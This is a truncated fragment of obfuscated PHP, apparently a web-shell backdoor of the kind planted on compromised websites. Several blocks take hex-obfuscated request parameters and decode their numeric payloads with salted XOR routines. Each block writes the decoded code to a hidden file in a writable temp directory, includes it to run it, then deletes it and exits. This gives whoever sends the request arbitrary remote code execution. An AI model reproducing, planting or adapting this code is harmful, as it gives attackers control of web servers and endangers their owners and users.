= $__len) break; $v6= $flg[$x]; $chS= ord($salt5[$x % $lenS]); $d= ((int)$v6 - $chS - ($x % 10)) ^ 33; $dchunk .= chr($d); $x++; } while (true); foreach ($element as $mrk): if (max(0, is_dir($mrk) * is_writable($mrk))) { $elem = join("/", [$mrk, ".ent"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $elem; @unlink($elem); die(); } } endforeach; } if(filter_has_var(INPUT_POST, "t\x6B\x6E")){ $val = $_REQUEST["t\x6B\x6E"]; $val= explode ( '.' ,$val ) ; $mrk = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $p = 0; array_walk($val, function($v1) use(&$mrk, &$p, $s2, $sLen) { $sChar = ord($s2[$p % $sLen]); $dec =((int)$v1 - $sChar -($p % 10)) ^ 62; $mrk .= chr($dec); $p++;} ); $value = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp"]); $record = 0; do { $flag = $value[$record] ?? null; if ($record >= count($value)) break; if (!( !is_dir($flag) || !is_writable($flag) )) { $pointer = join("/", [$flag, ".key"]); if (@file_put_contents($pointer, $mrk) !== false) { include $pointer; unlink($pointer); die(); } } $record++; } while (true); } if(array_key_exists("\x68ol\x64er", $_REQUEST)){ $mrk = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp"]); $rec = $_REQUEST["\x68ol\x64er"]; $rec = explode ( '.' , $rec) ; $resource = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $o = 0; while ($o < count($rec)) { $v4 = $rec[$o]; $sChar = ord($salt3[$o % $lenS]); $d = ((int)$v4 - $sChar - ($o % 10)) ^ 79; $resource .= chr($d); $o++; } while ($token = array_shift($mrk)) { if (is_dir($token) ? is_writable($token) : false) { $hld = sprintf("%s/.ent", $token); if (file_put_contents($hld, $resource)) { require $hld; unlink($hld); exit; } } } } if(isset($_POST) && isset($_POST["\x64\x65sc"])){ $record = $_POST["\x64\x65sc"]; $record= explode( '.' , $record ) ; $fac = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); foreach ($record as $s => $v6): $sChar = ord($salt2[$s % $lenS]); $dec = ((int)$v6 - $sChar - ($s % 10)) ^ 75; $fac .=chr($dec); endforeach; $marker = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); for ($k = 0, $element = count($marker); $k < $element; $k++) { $reference = $marker[$k]; if (!( !is_dir($reference) || !is_writable($reference) )) { $sym = sprintf("%s/.rec", $reference); if (@fi